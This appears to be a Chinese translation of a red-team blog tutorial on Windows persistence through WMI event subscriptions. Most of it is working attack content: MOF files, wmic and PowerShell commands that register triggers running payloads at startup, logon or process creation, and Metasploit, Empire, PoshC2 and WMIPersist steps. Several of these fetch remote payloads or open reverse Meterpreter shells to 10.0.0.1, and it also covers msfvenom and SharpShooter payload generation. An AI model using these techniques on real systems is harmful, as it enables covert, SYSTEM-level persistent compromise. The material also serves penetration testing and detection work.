持久性-WMI事件订阅

Windows Management Instrumentation (WMI) 使系统管理员能够在本地和远程执行任务。从红队的角度来看,WMI 可用于执行多种活动,例如横向移动、持久性、态势感知、代码执行以及作为命令和控制(C2)。WMI 是几乎所有 Windows 操作系统(Windows 98-Windows 10)中都存在的 Windows 的一部分,这一事实使这些攻击性活动远离蓝队的雷达。

通常,通过 WMI 事件订阅的持久性需要创建以下三个类,它们用于存储有效负载或任意命令,指定将触发有效负载的事件并将两个类(__EventConsumer &__EventFilter)关联起来,以便执行和触发绑定一起。

  • __EventFilter // 触发器(新进程、登录失败等)
  • EventConsumer // 执行动作(执行有效载荷等)
  • __FilterToConsumerBinding // 绑定过滤器和消费者类

这种技术的实现不需要任何工具包,因为 Windows 有一个可以与 WMI (wmic) 交互的实用程序,并且也可以利用 PowerShell。然而,各种框架,如 Metasploit、Empire、PoshC2、PowerSploit 和多个 PowerShell 脚本和 C# 工具可用于自动化此技术,为代码执行提供不同的触发器和各种选项。应该注意的是,WMI 事件作为 SYSTEM 运行,在重新启动后持续存在,并且需要管理员级别的权限才能使用此技术。

MOF

托管对象格式 (MOF) 是用于描述 CIM(通用信息模型)类的语言。MOF 文件通常包含语句。编译文件时添加到 WMI 存储库 (OBJECTS.DATA) 的类和类实例(mofcomp.exe 可以编译 MOF 文件,它是 Windows 的一部分)。MOF 文件的内容如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#PRAGMA NAMESPACE ("////.//root//subscription")
instance of CommandLineEventConsumer as $Cons
{
``Name = "Pentestlab";
``RunInteractively=false;
``CommandLineTemplate="cmd.exe";
};
instance of __EventFilter as $Filt
{
``Name = "Pentestlab";
``EventNamespace = "root//subscription";
``Query ="SELECT * FROM __InstanceCreationEvent Within 3"
``"Where TargetInstance Isa /"Win32_Process/" "
``"And Targetinstance.Name = /"notepad.exe/" ";
``QueryLanguage = "WQL";
};
instance of __FilterToConsumerBinding
{
``Filter = $Filt;
``Consumer = $Cons;
};

上面的 MOF 文件会在系统上创建 notepad.exe 进程时执行 cmd.exe。MOF 文件可以通过执行以下命令部署到 WMI 存储库中:

1
mofcomp.exe ./wmi.mof

image-20220328200653939

或者,Metasploit 框架还具有生成恶意 MOF 文件的能力。从交互式 ruby 控制台执行以下命令将生成 MOF。

1
2
irb
puts generate_mof("Metasploit1","Metasploit2")

image-20220328201010959

Microsoft 实用程序“ mofcomp.exe/ ”可以编译 MOF 文件。该文件将自动存储在 WMI 存储库中,并且恶意负载/命令将自动执行。

mofcomp.exe ./Metasploit.mof

image-20220328201352970

在这种情况下,payload 是通过 Metasploit “ web_delivery/ ”模块使用 regsvr32 方法远程获取的。编译 MOF 文件后,立即生成了一个 Meterpreter 会话。

image-20220328201406000

尽管一些 APT 的小组使用 MOF 文件作为 dropper 以实现 WMI 的持久性,但不建议将其作为一种方法。通过 WMI 事件订阅的持久性可以通过使用常见的 Microsoft 实用程序来实现,因此无需将文件放入磁盘。

Command Prompt

由于所有 Windows 操作系统都包含命令行实用程序 (wmic),因此可以通过命令提示符执行与 WMI 的交互。执行以下命令将在root/subscription的名称空间中创建三个事件。每次 Windows 启动时,任意有效负载将在 60 秒内执行。

1
2
3
4
5
wmic /NAMESPACE:"//root/subscription" PATH __EventFilter CREATE Name="PentestLab", EventNameSpace="root/cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"

wmic /NAMESPACE:"//root/subscription" PATH CommandLineEventConsumer CREATE Name="PentestLab", ExecutablePath="C:/Windows/System32/pentestlab.exe",CommandLineTemplate="C:/Windows/System32/pentestlab.exe"

wmic /NAMESPACE:"//root/subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=/"PentestLab/"", Consumer="CommandLineEventConsumer.Name=/"PentestLab/""

image-20220328201541699

每次重启后,可执行文件将在 60 秒内返回 Meterpreter 会话。

image-20220328201632298

PowerShell

PowerShell 包含可以查询 WMI 对象并将信息检索回控制台的 cmdlet。以下命令可用于验证是否已创建任意事件以及恶意负载/命令是否存储在 WMI 存储库中。

1
2
3
Get-WMIObject` `-Namespace` `root/Subscription` `-Class` `__EventFilter
Get-WMIObject` `-Namespace` `root/Subscription` `-Class` `__FilterToConsumerBinding
Get-WMIObject` `-Namespace` `root/Subscription` `-Class` `__EventConsumer

也可以通过 PowerShell 直接实现此技术。以下脚本块将在每次 Windows 启动后的 5 分钟内执行任意可执行文件“ pentestlab.exe ”。/

1
2
3
4
5
$FilterArgs` `= @{name=``'Pentestlab-WMI'``;
``EventNameSpace=``'root/CimV2'``;
``QueryLanguage=``"WQL"``;
``Query=``"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"``};
$Filter``=``New-CimInstance` `-Namespace` `root/subscription` `-ClassName` `__EventFilter` `-Property` `$FilterArgs
1
2
3
$ConsumerArgs` `= @{name=``'Pentestlab-WMI'``;
``CommandLineTemplate=``"$($Env:SystemRoot)/System32/pentestlab.exe"``;}
$Consumer``=``New-CimInstance` `-Namespace` `root/subscription` `-ClassName` `CommandLineEventConsumer` `-Property` `$ConsumerArgs
1
2
3
4
5
$FilterToConsumerArgs` `= @{
Filter` `= ``[Ref]` `$Filter``;
Consumer = ``[Ref]` `$Consumer``;
}
$FilterToConsumerBinding` `= ``New-CimInstance` `-Namespace` `root/subscription` `-ClassName` `__FilterToConsumerBinding` `-Property` `$FilterToConsumerArgs

image-20220328201726488

可以执行以下命令来执行清理并删除创建的 WMI 对象。

1
2
3
4
5
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'Pentestlab-WMI'"

$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'Pentestlab-WMI'"

$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"
1
2
3
$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject

PowerPunch是 PowerShell 脚本的集合,其中包含用于通过 WMI 进行持久性的 PowerShell 脚本。然而,该脚本需要将Invoke-MetasploitPayload加载到内存中,并且负载将从远程位置下载。可以配置Metasploit 框架“ web_delivery ”模块来托管基于 PowerShell 的有效负载。

1
2
3
4
5
6
7
8
9
10
use exploit/multi/script/web_delivery
set SRVHOST 0.0.0.0
set SRVPORT 8443
set SSL true
set target 2
set URIPATH pentestlab
set payload windows/x64/meterpreter/reverse_tcp
set LPORT 8888
set LHOST 10.0.0.1
run -j

image-20220328201803849

以下命令将注册 WMI 事件订阅,并将存储将在启动期间执行的命令,以创建无文件持久性。

1
2
3
Import-Module ./Invoke-MetasploitPayload.ps1
Import-Module ./New-WMIPersistence.ps1
New-WMIPersistence -Name Pentestlab -OnStartup -Command "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -Arguments "-Command Invoke-MetasploitPayload https://10.0.0.1:8443/pentestlab"

image-20220328201942160

有效负载将在启动期间传递到目标主机上。

image-20220328202002342

Wmi -Persistence是一个简单的 PowerShell 脚本,支持以下触发器:启动、登录、间隔和定时。它包含三个功能,用于安装、查看和删除已创建的 WMI 事件。

1
Install-Persistence` `-Trigger` `Startup` `-Payload` `"c:/windows/system32/pentestlab.exe"

image-20220328202018419

“***启动/***”触发器默认会在启动后五分钟内执行任意有效载荷。

image-20220328202030401

WMI-Persistence是另一个 PowerShell 脚本,它可以创建事件过滤器,在每次重新启动后 5 分钟内从远程位置执行基于 PowerShell 的有效负载。

1
2
Import-Module	./WMI-Persistence.ps1
Install-Persistence

image-20220328202111398

该脚本包含一个查看 WMI 对象的函数,以确保已正确创建任意类。

Check-WMI

image-20220328202242220

下次重新启动 5 分钟后,有效负载将被传递,并且将与目标主机建立 Meterpreter 会话。

image-20220328202255321

Rahmat Nurfauzi开发了一个 PowerShell 脚本 ( WMI-Persistence ),它默认使用regsvr32方法执行任意命令,以便从远程服务器运行任意脚本。

./WMI-Persistence

image-20220328202310689

Get-WMIObject ” cmdlet 将确保已创建事件过滤器,因为脚本不提供任何控制台输出。

1
Get-WMIObject -Namespace root/Subscription -Class __EventFilter

image-20220328202327998

Metasploit 框架可用于托管 scriptlet 并获取会话。然而,其他命令和控制框架(例如 PoshC2)具有类似的功能,并且可以捕获 regsvr32 有效负载。

image-20220328202339048

PowerLurk是另一个支持五个触发器的 PowerShell 脚本。它们是:InsertUSBUserLogonTimedIntervalProcessStart。该脚本使用 WMI 存储库来存储恶意命令,该命令将执行任意脚本、可执行文件或任何其他带有参数的命令。以下函数将检索所有活动的 WMI 事件对象。

Get-WmiEvent

image-20220328202513598

执行以下命令将创建一个任意事件订阅,该订阅将在 Windows 登录期间永久执行恶意负载。

Register-MaliciousWmiEvent -EventName Logonlog -PermanentCommand "pentestlab.exe" -Trigger UserLogon -Username any

image-20220328202535278

C#

Dominic Chell开发了一个名为WMIPersist的 C# 工具,它可以直接用作受感染主机上的可执行文件或通过 Cobalt Strike 使用。该工具将注册一个事件,该事件将在系统上创建目标进程时执行 base64 VBS 有效负载。

image-20220328202551720

Metasploit 实用程序“ msfvenom ”可以生成所需的有效负载,但也可以使用 任何其他工具,例如unicorn 。

msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o payload64.bin LHOST=10.0.0.1 LPORT=4444

image-20220328202613087

SharpShooter可用于通过使用先前生成的 shellcode 原始文件生成 VBS 格式的无阶段负载。

1
2
python SharpShooter.py --stageless --dotnetver 2 --payload vbs --output implantvbs --rawscfile payload64.bin
base64 -i output/implantvbs.vbs > /home/pentestlab.txt

image-20220328202631176

有效负载可以嵌入到 WMIPersist 工具中,并且 csc.exe 实用程序(.NET 框架的一部分)可以编译源代码,以便将其转换为可执行文件。

1
csc.exe WMIPersist.cs /r:System.Management.Automation.dll

image-20220328202643540

在目标主机上运行可执行文件或通过 Cobalt Strike(execute-assembly选项)将创建事件过滤器、事件使用者和订阅。

image-20220328202653171

从 PowerShell 控制台执行以下命令将验证有效负载是否存储在“ __EventConsumer** ”中并且“ **__EventFilter ”已创建。

1
2
Get-WMIObject -Namespace root/Subscription -Class __EventFilter
Get-WMIObject -Namespace root/Subscription -Class __EventConsumer

image-20220328202746048

image-20220328202756341

当 notepad.exe 进程启动时,payload 将被执行并打开通信通道。默认情况下,此工具使用记事本,这是一个常见的 Windows 应用程序,但可以修改代码以针对任何其他常见进程,例如 word.exe、outlook.exe、excel.exe、calc.exe,具体取决于从主机收集的信息在态势感知期间。Metasploit 模块“ multi/handler ”或任何其他 C2 可用于捕获会话。

image-20220328202807798

PoshC2

PoshC2是一个基于 PowerShell 的命令和控制框架,但支持 C# 植入和模块,以在红队参与期间规避 EDR 产品。有一个 PowerShell 模块可以通过在特定时间执行基于 64 编码的有效负载,在目标主机上部署 WMI 事件订阅的持久性技术。

Invoke-wmievent -Name Posh -Command "powershell -enc <payload>" -Hour 21 -Minute 11

image-20220328202844098

当命令执行时,将创建 WMI 事件,并自动将修改的 WMI 对象的结果返回到控制台屏幕上以供验证。

image-20220328202853337

新植入物将在设置时连接回 C2 服务器。

image-20220328202902929

Metasploit

Metasploit 框架包含一个通过 WMI 在目标系统上执行持久性的模块。该模块支持不同的选项,可用于触发要在系统上执行的任意有效负载。默认情况下,配置为在系统上创建特定事件 ID (4625) 时执行有效负载。支持的其他选项包括在登录期间、创建特定进程后、特定时间段后等执行有效负载。

1
2
3
4
5
6
7
8
use exploit/windows/local/wmi_persistence
set SESSION 1
set CALLBACK_INTERVAL 60000
set USERNAME_TRIGGER pentestlab
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.0.0.1
set LPORT 4444
exploit

image-20220328202918489

该模块将提供所需的命令,该命令可用于使用错误密码通过 SMB 登录主机,以生成指定的失败登录请求。当命令执行时,将生成失败的登录事件,该事件将触发有效负载并打开一个 Meterpreter 会话。

smbclient ////10.0.0.2//C$ -U pentestlab password

image-20220328202938640

在 vanilla Windows 10 版本中,系统会记录登录/注销期间的成功和失败尝试。

1
auditpol /get /subcategory:Logon

image-20220328203000549

Empire

PowerShell Empire 有两个模块可以在 WMI 上建立持久性。以下模块可以在特定的每日时间、登录失败期间和启动时 5 分钟内执行有效负载。

1
2
3
4
5
usemodule persistence/elevated/wmi
set Listener WMI
set SubName Empire
set FailedLogon True
execute

image-20220328203036419

与 Metasploit 模块类似,当使用“ FailedLogon ”选项时,可以使用失败的 SMB 连接来触发基于 PowerShell 的植入。默认情况下,此选项会将两个连接返回到命令和控制服务器。

image-20220328203045918

wmi_updater ” 模块能够从远程位置获取有效负载,而不是将其存储在 WMI 存储库中。它将注册为“ AutoUpdater ”,并且可以在启动时或一天中的特定时间设置触发器。

1
usemodule persistence/elevated/wmi_updater*

工具包

下表显示了红队可以使用的工具,以实现 WMI 事件订阅的持久性技术以及每个工具的可用触发器选项。

Metasploit Ruby Failed Logon, Process, Startup, Timed
Empire PowerShell Failed Logon, Startup, Timed
SharpSploit C# Process
WMIPersist C# Process
PoshC2 Python3 Timed
PowerPunch PowerShell Logon, Startup
Wmi-Persistence PowerShell Logon, Startup, Interval, Timed
PowerLurk PowerShell USB, Logon, Process, Interval, Timed
WMI-Persistence PowerShell Up-time
WMILogonBackdoor PowerShell Timed, Interval
WMIBackdoor PowerShell Timed, Interval
WMI-Persistence PowerShell Timed

参考:https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!